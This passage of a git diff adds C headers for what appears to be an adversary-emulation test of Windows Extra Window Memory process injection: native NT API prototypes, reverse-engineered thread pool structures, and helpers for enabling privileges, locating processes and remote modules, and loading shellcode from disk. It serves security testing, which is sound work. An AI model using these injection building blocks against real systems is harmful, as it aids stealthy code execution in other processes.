SectionPageProtection, + IN ULONG AllocationAttributes, + IN HANDLE FileHandle OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenSection ( + OUT PHANDLE SectionHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN ULONG CommitSize, + IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, + IN OUT PULONG ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwMapViewOfSection ( + IN HANDLE SectionHandle, + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN ULONG CommitSize, + IN OUT PLARGE_INTEGER SectionOffset OPTIONAL, + IN OUT PULONG ViewSize, + IN SECTION_INHERIT InheritDisposition, + IN ULONG AllocationType, + IN ULONG Protect + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwUnmapViewOfSection ( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER SectionSize + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwExtendSection ( + IN HANDLE SectionHandle, + IN OUT PLARGE_INTEGER SectionSize + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQuerySection ( + IN HANDLE SectionHandle, + IN SECTION_INFORMATION_CLASS SectionInformationClass, + OUT PVOID SectionInformation, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Synchronization + +// +// Wait type +// + +typedef enum _WAIT_TYPE { + WaitAll, + WaitAny + } WAIT_TYPE; + + +NTSYSAPI +NTSTATUS +NTAPI +NtWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForSingleObject ( + IN HANDLE Handle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handle[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwWaitForMultipleObjects ( + IN ULONG Count, + IN HANDLE Handle[], + IN WAIT_TYPE WaitType, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER Timeout OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Event support + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation // = 0 +} EVENT_INFORMATION_CLASS; + +typedef struct _EVENT_BASIC_INFORMATION { + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION; + +// +// Event handling routines +// + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtClearEvent ( + IN HANDLE Handle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwClearEvent ( + IN HANDLE Handle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtPulseEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwPulseEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtResetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwResetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetEvent ( + IN HANDLE Handle, + OUT PLONG PreviousState OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInfoClass, + OUT PVOID EventInfo, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInfoClass, + OUT PVOID EventInfo, + IN ULONG Length, + OUT PULONG ResultLength OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Security descriptor functions + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ULONG Revision + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetDaclSecurityDescriptor( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN BOOLEAN DaclPresent, + IN PACL Dacl OPTIONAL, + IN BOOLEAN DaclDefaulted OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlSetOwnerSecurityDescriptor ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN PSID Owner OPTIONAL, + IN BOOLEAN OwnerDefaulted OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAllocateAndInitializeSid( + IN PSID_IDENTIFIER_AUTHORITY IdentifierAuthority, + IN UCHAR SubAuthorityCount, + IN ULONG SubAuthority0, + IN ULONG SubAuthority1, + IN ULONG SubAuthority2, + IN ULONG SubAuthority3, + IN ULONG SubAuthority4, + IN ULONG SubAuthority5, + IN ULONG SubAuthority6, + IN ULONG SubAuthority7, + OUT PSID *Sid + ); + + +NTSYSAPI +ULONG +NTAPI +RtlLengthSid ( + IN PSID Sid + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualSid ( + IN PSID Sid1, + IN PSID Sid2 + ); + + +NTSYSAPI +PVOID +NTAPI +RtlFreeSid( + IN PSID Sid + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlCreateAcl( + IN PACL Acl, + IN ULONG AclLength, + IN ULONG AclRevision + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAce( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ACCESS_MASK AccessMask, + IN PSID Sid + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlAddAccessAllowedAceEx( + IN OUT PACL Acl, + IN ULONG AceRevision, + IN ULONG AceFlags, + IN ULONG AccessMask, + IN PSID Sid + ); + +//----------------------------------------------------------------------------- +// Token functions + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenProcessToken( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenThreadToken( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + OUT PHANDLE TokenHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationToken( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + OUT PVOID TokenInformation, + IN ULONG TokenInformationLength, + OUT PULONG ReturnLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationToken( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + IN PVOID TokenInformation, + IN ULONG TokenInformationLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtAdjustPrivilegesToken( + IN HANDLE TokenHandle, + IN BOOLEAN DisableAllPrivileges, + IN PTOKEN_PRIVILEGES NewState OPTIONAL, + IN ULONG BufferLength OPTIONAL, + IN PTOKEN_PRIVILEGES PreviousState OPTIONAL, + OUT PULONG ReturnLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDuplicateToken( + IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtCompareTokens( + IN HANDLE FirstTokenHandle, + IN HANDLE SecondTokenHandle, + OUT PBOOLEAN IdenticalTokens + ); + + +//----------------------------------------------------------------------------- +// Symbolic links + +// +// Object Manager Symbolic Link Specific Access Rights. +// + +#ifndef SYMBOLIC_LINK_QUERY +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) +#endif + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenSymbolicLinkObject ( + OUT PHANDLE SymbolicLinkHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQuerySymbolicLinkObject ( + IN HANDLE SymbolicLinkHandle, + OUT PUNICODE_STRING NameString, + OUT PULONG ResultLength OPTIONAL + ); + +//----------------------------------------------------------------------------- +// Loader functions + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetDllHandle( + IN PWSTR DllPath OPTIONAL, + IN PULONG DllCharacteristics OPTIONAL, + IN PUNICODE_STRING DllName, + OUT PVOID * DllHandle + ); + + +NTSYSAPI +NTSTATUS +NTAPI +LdrGetProcedureAddress( + IN PVOID DllHandle, + IN PANSI_STRING ProcedureName OPTIONAL, + IN ULONG ProcedureNumber OPTIONAL, + OUT PVOID *ProcedureAddress + ); + + +NTSYSAPI +NTSTATUS +NTAPI +LdrLoadDll( + IN PWSTR DllPath OPTIONAL, + IN PULONG DllCharacteristics OPTIONAL, + IN PUNICODE_STRING DllName, + OUT PVOID *DllHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +LdrFindEntryForAddress( + IN PVOID Address, + OUT PLDR_DATA_TABLE_ENTRY *Module + ); + +NTSYSAPI +VOID +NTAPI + RtlGetCallersAddress( + OUT PVOID *CallersAddress, + OUT PVOID *CallersCaller + ); + +//----------------------------------------------------------------------------- +// Functions dealing with NTSTATUS and Win32 error + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosError( + NTSTATUS Status + ); + + +NTSYSAPI +ULONG +NTAPI +RtlNtStatusToDosErrorNoTeb( + NTSTATUS Status + ); + + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetLastNtStatus( + ); + + +NTSYSAPI +ULONG +NTAPI +RtlGetLastWin32Error( + ); + + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32Error( + ULONG WinError + ); + + +NTSYSAPI +VOID +NTAPI +RtlSetLastWin32ErrorAndNtStatusFromNtStatus( + NTSTATUS Status + ); + + +//----------------------------------------------------------------------------- +// I/O functions + + +NTSYSAPI +NTSTATUS +NTAPI +NtDisplayString( + IN PUNICODE_STRING String + ); + + +#ifdef __cplusplus +} // extern "C" +#endif + +#endif // __NTDLL_H__ \ No newline at end of file diff --git a/atomics/T1055.011/src/ntlib/nttpp.h b/atomics/T1055.011/src/ntlib/nttpp.h new file mode 100644 index 0000000000..9294b586b5 --- /dev/null +++ b/atomics/T1055.011/src/ntlib/nttpp.h @@ -0,0 +1,187 @@ +/** + Copyright © 2019 Odzhan. All Rights Reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. */ + +/** + These structures were reverse engineered and are not an accurate representation + of thread pool structures. They are based on analyzing private API in NTDLL.dll + + Use with caution. - odzhan + Last updated: March 2019 +*/ + +// Original: https://github.com/odzhan/injection + +#ifndef TPP_H +#define TPP_H + +#include "ntddk.h" + +typedef struct _TP_ALPC *PTP_ALPC; + +typedef void (WINAPI *PTP_ALPC_CALLBACK)(PTP_CALLBACK_INSTANCE Instance, + LPVOID Context, PTP_ALPC TpAlpc, LPVOID Reserved); + +typedef struct _TP_SIMPLE_CALLBACK { + PVOID Function; + PVOID Context; +} TP_SIMPLE_CALLBACK; + +typedef struct _TP_CLEANUP_GROUP { + ULONG Version; + SRWLOCK Lock; + LIST_ENTRY GroupList1; + PTP_SIMPLE_CALLBACK FinalizationCallback; + LIST_ENTRY GroupList2; + ULONG64 Unknown1; + LIST_ENTRY GroupList3; +} TP_CLEANUP_GROUP, *PTP_CLEANUP_GROUP; + +typedef struct _TP_CALLBACK_OBJECT { + ULONG RefCount; + PVOID CleanupGroupMember; + PTP_CLEANUP_GROUP CleanupGroup; + PTP_CLEANUP_GROUP_CANCEL_CALLBACK CleanupGroupCancelCallback; + PTP_SIMPLE_CALLBACK FinalizationCallback; + LIST_ENTRY WorkList; + ULONG64 Barrier; + ULONG64 Unknown1; + SRWLOCK SharedLock; + TP_SIMPLE_CALLBACK Callback; + PACTIVATION_CONTEXT ActivationContext; + ULONG64 SubProcessTag; + GUID ActivityId; + BOOL WorkingOnBehalfTicket; + PVOID RaceDll; + PTP_POOL Pool; + LIST_ENTRY GroupList; + ULONG Flags; + TP_SIMPLE_CALLBACK CallerAddress; + TP_CALLBACK_PRIORITY CallbackPriority; +} TP_CALLBACK_OBJECT, *PTP_CALLBACK_OBJECT; + +typedef struct _TP_POOL { + ULONG64 RefCount; + ULONG64 Version; + LIST_ENTRY NumaRelatedList; + LIST_ENTRY PoolList; + PVOID NodeList; + + HANDLE WorkerFactory; + HANDLE IoCompletion; + SRWLOCK PoolLock; + LIST_ENTRY UnknownList1; + LIST_ENTRY UnknownList2; + +} TP_POOL, *PTP_POOL; + +typedef struct _TP_WORK { + TP_CALLBACK_OBJECT CallbackObject; + PVOID TaskId; + ULONG64 Unknown[4]; +} TP_WORK, *PTP_WORK; + +typedef struct _TP_TIMER { + TP_CALLBACK_OBJECT CallBackObject; + PVOID TaskId; + ULONG64 Unknown1; + LIST_ENTRY UnknownList1; + ULONG Unknown2; + SRWLOCK TimerLock; + LIST_ENTRY UnknownList2; + LIST_ENTRY UnknownList3; + ULONG64 TimerDueTime; + LIST_ENTRY UnknownList4; + LIST_ENTRY UnknownList5; + LIST_ENTRY UnknownList6; + ULONG64 Unknown3; + ULONG WindowLength; + ULONG TimePeriod; + BOOLEAN bFlag1; + BOOLEAN bFlag2; + BOOLEAN bFlag3; + BOOLEAN bFlag4; + BOOLEAN bFlag5; + BOOLEAN bFlag6; + BOOLEAN bFlag7; + BOOLEAN bFlag8; +} TP_TIMER, *PTP_TIMER; + +typedef struct _TP_ALPC { + PVOID TaskId; + ULONG NumaRelated1[2]; + LIST_ENTRY CleanupGroupList; + PTP_SIMPLE_CALLBACK FinalizationCallback; + LIST_ENTRY AlpcList; + PVOID ExecuteCallback; + ULONG NumaRelated2[2]; + TP_CALLBACK_OBJECT CallbackObject; + HANDLE Port; + HANDLE Semaphore; + ULONG NumaRelated; + ULONG Flag; +} TP_ALPC, *PTP_ALPC; + +typedef struct _TP_CALLBACK_INSTANCE { + ULONG64 Unknown1[10]; + ULONG64 SubProcessTag; + TP_SIMPLE_CALLBACK Callback; + ULONG64 Unknown2[4]; + PVOID TpWork; // PTP_ALPC for print spooler + ULONG64 Unknown3[3]; + HMODULE Dll; + PTP_TIMER Timer; + PTP_CALLBACK_OBJECT CallbackObject; +} TP_CALLBACK_INSTANCE, *PTP_CALLBACK_INSTANCE; + +typedef struct _TP_WORKER_LIST { + LIST_ENTRY TppWorkerpList; + LIST_ENTRY TppPoolList; + ULONG64 Unknown1; + ULONG64 ThreadId; + PTP_POOL Pool; + BYTE Unknown[248]; +} TP_WORKER_LIST, *PTP_WORKER_LIST; + +typedef struct _TP_POOL_CALLBACK { + TP_SIMPLE_CALLBACK Callback; + ULONG64 SubProcessTag; + ULONG64 TimeRelated; +} TP_POOL_CALLBACK, *PTP_POOL_CALLBACK; + +typedef struct _TP_POOL_DATA { + PTP_WORKER_LIST Workers; + ULONG PoolStatus; + ULONG RefCount; + ULONG64 CallbackCount; + ULONG64 TimeRelated; + TP_POOL_CALLBACK CallbackArray[2]; + ULONG64 Reserved[5]; +} TP_POOL_DATA, *PTP_POOL_DATA; + +#endif \ No newline at end of file diff --git a/atomics/T1055.011/src/ntlib/util.h b/atomics/T1055.011/src/ntlib/util.h new file mode 100644 index 0000000000..c4c7b7392e --- /dev/null +++ b/atomics/T1055.011/src/ntlib/util.h @@ -0,0 +1,476 @@ +/** + Copyright © 2019 Odzhan. All Rights Reserved. + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + + 3. The name of the author may not be used to endorse or promote products + derived from this software without specific prior written permission. + + THIS SOFTWARE IS PROVIDED BY AUTHORS "AS IS" AND ANY EXPRESS OR + IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN + ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + POSSIBILITY OF SUCH DAMAGE. */ + +// Original: https://github.com/odzhan/injection +// modifications made by @socketz for T1055.011 (EWM) technique + +#ifndef UTIL_H +#define UTIL_H + +#pragma warning(disable : 4005) +#pragma warning(disable : 4311) +#pragma warning(disable : 4312) + +#define UNICODE +#define _WIN32_DCOM + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + + +#include "./nttpp.h" + +#pragma comment(lib, "wbemuuid.lib") +#pragma comment(lib, "ole32.lib") +#pragma comment(lib, "oleAut32.lib") +#pragma comment(lib, "advapi32.lib") +#pragma comment(lib, "dbghelp.lib") +#pragma comment(lib, "winspool.lib") +#pragma comment(lib, "dbghelp.lib") +#pragma comment(lib, "user32.lib") +#pragma comment(lib, "shlwapi.lib") +#pragma comment(lib, "kernel32.lib") +#pragma comment(lib, "shell32.lib") +#pragma comment(lib, "OneCore.lib") + +// Relative Virtual Address to Virtual Address +#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva) + +// allocate memory +LPVOID xmalloc (SIZE_T dwSize) { + return HeapAlloc (GetProcessHeap(), HEAP_ZERO_MEMORY, dwSize); +} + +// re-allocate memory +LPVOID xrealloc (LPVOID lpMem, SIZE_T dwSize) { + return HeapReAlloc (GetProcessHeap(), HEAP_ZERO_MEMORY, lpMem, dwSize); +} + +// free memory +void xfree (LPVOID lpMem) { + HeapFree (GetProcessHeap(), 0, lpMem); +} + +#if !defined (__GNUC__) +/** + * + * Returns TRUE if process token is elevated + * + */ +BOOL IsElevated(VOID) { + HANDLE hToken; + BOOL bResult = FALSE; + TOKEN_ELEVATION te; + DWORD dwSize; + + if (OpenProcessToken (GetCurrentProcess(), TOKEN_QUERY, &hToken)) { + if (GetTokenInformation (hToken, TokenElevation, &te, + sizeof(TOKEN_ELEVATION), &dwSize)) { + bResult = te.TokenIsElevated; + } + CloseHandle(hToken); + } + return bResult; +} +#endif + +// display error message for last error code +VOID xstrerror (PCHAR fmt, ...){ + PCHAR error=NULL; + va_list arglist; + WCHAR buffer[1024]; + DWORD dwError=GetLastError(); + + va_start(arglist, fmt); + _vsnwprintf(buffer, ARRAYSIZE(buffer), fmt, arglist); + va_end (arglist); + + if (FormatMessage ( + FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, + NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + (LPWSTR)&error, 0, NULL)) + { + wprintf(L" [ %s : %s\n", buffer, error); + LocalFree (error); + } else { + wprintf(L" [ %s error : %08lX\n", buffer, dwError); + } +} + +// enable or disable a privilege in current process token +BOOL SetPrivilege(PCHAR szPrivilege, BOOL bEnable){ + HANDLE hToken; + BOOL bResult; + LUID luid; + TOKEN_PRIVILEGES tp; + + // open token for current process + bResult = OpenProcessToken(GetCurrentProcess(), + TOKEN_ADJUST_PRIVILEGES, &hToken); + + if(!bResult)return FALSE; + + // lookup privilege + bResult = LookupPrivilegeValueW(NULL, szPrivilege, &luid); + + if (bResult) { + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = bEnable?SE_PRIVILEGE_ENABLED:SE_PRIVILEGE_REMOVED; + + // adjust token + AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL); + bResult = GetLastError() == ERROR_SUCCESS; + } + CloseHandle(hToken); + return bResult; +} + +DWORD name2pid(LPWSTR ImageName) { + HANDLE hSnap; + PROCESSENTRY32 pe32; + DWORD dwPid=0; + + // create snapshot of system + hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if(hSnap == INVALID_HANDLE_VALUE) return 0; + + pe32.dwSize = sizeof(PROCESSENTRY32); + + // get first process + if(Process32First(hSnap, &pe32)){ + do { + if (lstrcmpi(ImageName, pe32.szExeFile)==0) { + dwPid = pe32.th32ProcessID; + break; + } + } while(Process32Next(hSnap, &pe32)); + } + CloseHandle(hSnap); + return dwPid; +} + +PCHAR pid2name(DWORD pid) { + HANDLE hSnap; + BOOL bResult; + PROCESSENTRY32 pe32; + PCHAR name=L"N/A"; + + hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (hSnap != INVALID_HANDLE_VALUE) { + pe32.dwSize = sizeof(PROCESSENTRY32); + + bResult = Process32First(hSnap, &pe32); + while (bResult) { + if (pe32.th32ProcessID == pid) { + name = pe32.szExeFile; + break; + } + bResult = Process32Next(hSnap, &pe32); + } + CloseHandle(hSnap); + } + return name; +} + +LPVOID GetRemoteModuleHandle(DWORD pid, LPCWSTR lpModuleName) { + HANDLE ss; + MODULEENTRY32 me; + LPVOID ba = NULL; + + ss = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); + + if(ss == INVALID_HANDLE_VALUE) return NULL; + + me.dwSize = sizeof(MODULEENTRY32); + + if(Module32First(ss, &me)) { + do { + if(me.th32ProcessID == pid) { + if(lstrcmpi(me.szModule, lpModuleName)==0) { + ba = me.modBaseAddr; + break; + } + } + } while(Module32Next(ss, &me)); + } + CloseHandle(ss); + return ba; +} + +PCHAR addr2sym(HANDLE hp, LPVOID addr) { + WCHAR path[MAX_PATH]; + BYTE buf[sizeof(SYMBOL_INFO)+MAX_SYM_NAME*sizeof(WCHAR)]; + PSYMBOL_INFO si=(PSYMBOL_INFO)buf; + static WCHAR name[MAX_PATH]; + + ZeroMemory(path, ARRAYSIZE(path)); + ZeroMemory(name, ARRAYSIZE(name)); + + GetMappedFileName( + hp, addr, path, MAX_PATH); + + PathStripPath(path); + + si->SizeOfStruct = sizeof(SYMBOL_INFO); + si->MaxNameLen = MAX_SYM_NAME; + + if(SymFromAddr(hp, (DWORD64)addr, NULL, si)) { + wsprintf(name, L"%s!%hs", path, si->Name); + } else { + lstrcpy(name, path); + } + return name; +} + +PCHAR wnd2proc(HWND hw) { + PCHAR name=L"N/A"; + DWORD pid; + HANDLE ss; + BOOL bResult; + PROCESSENTRY32 pe; + + GetWindowThreadProcessId(hw, &pid); + + ss = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if(ss != INVALID_HANDLE_VALUE) { + pe.dwSize = sizeof(PROCESSENTRY32); + + bResult = Process32First(ss, &pe); + while (bResult) { + if (pe.th32ProcessID == pid) { + name = pe.szExeFile; + break; + } + bResult = Process32Next(ss, &pe); + } + CloseHandle(ss); + } + return name; +} + +void ShowProcessIntegrityLevel(DWORD pid) +{ + HANDLE hToken; + HANDLE hProcess; + + DWORD dwLengthNeeded; + DWORD dwError = ERROR_SUCCESS; + + PTOKEN_MANDATORY_LABEL pTIL = NULL; + LPWSTR pStringSid; + DWORD dwIntegrityLevel; + + hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid); + if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) + { + // Get the Integrity level. + if (!GetTokenInformation(hToken, TokenIntegrityLevel, + NULL, 0, &dwLengthNeeded)) + { + dwError = GetLastError(); + if (dwError == ERROR_INSUFFICIENT_BUFFER) + { + pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, + dwLengthNeeded); + if (pTIL != NULL) + { + if (GetTokenInformation(hToken, TokenIntegrityLevel, + pTIL, dwLengthNeeded, &dwLengthNeeded)) + { + dwIntegrityLevel = *GetSidSubAuthority(pTIL->Label.Sid, + (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid)-1)); + + if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) + { + // Low Integrity + wprintf(L"Low"); + } + else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID && + dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) + { + // Medium Integrity + wprintf(L"Medium"); + } + else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID) + { + // High Integrity + wprintf(L"High Integrity"); + } + else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID) + { + // System Integrity + wprintf(L"System Integrity"); + } + } + LocalFree(pTIL); + } + } + } + CloseHandle(hToken); + } + CloseHandle(hProcess); + putchar('\n'); +} + +/** + read a shellcode from disk into memory +*/ +DWORD readpic(PCHAR path, LPVOID *pic){ + HANDLE hf; + DWORD len, rd=0; + + // 1. open the file + hf = CreateFile(path, GENERIC_READ, 0, 0, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + if(hf != INVALID_HANDLE_VALUE){ + // get file size + len = GetFileSize(hf, 0); + // allocate memory + *pic = malloc(len + 16); + // read file contents into memory + ReadFile(hf, *pic, len, &rd, 0); + CloseHandle(hf); + } + return rd; +} + +// returns TRUE if ptr is heap +BOOL IsHeapPtr(LPVOID ptr) { + MEMORY_BASIC_INFORMATION mbi; + DWORD res; + + if(ptr == NULL) return FALSE; + + // query the pointer + res = VirtualQuery(ptr, &mbi, sizeof(mbi)); + if(res != sizeof(mbi)) return FALSE; + + return ((mbi.State == MEM_COMMIT ) && + (mbi.Type == MEM_PRIVATE ) && + (mbi.Protect == PAGE_READWRITE)); +} 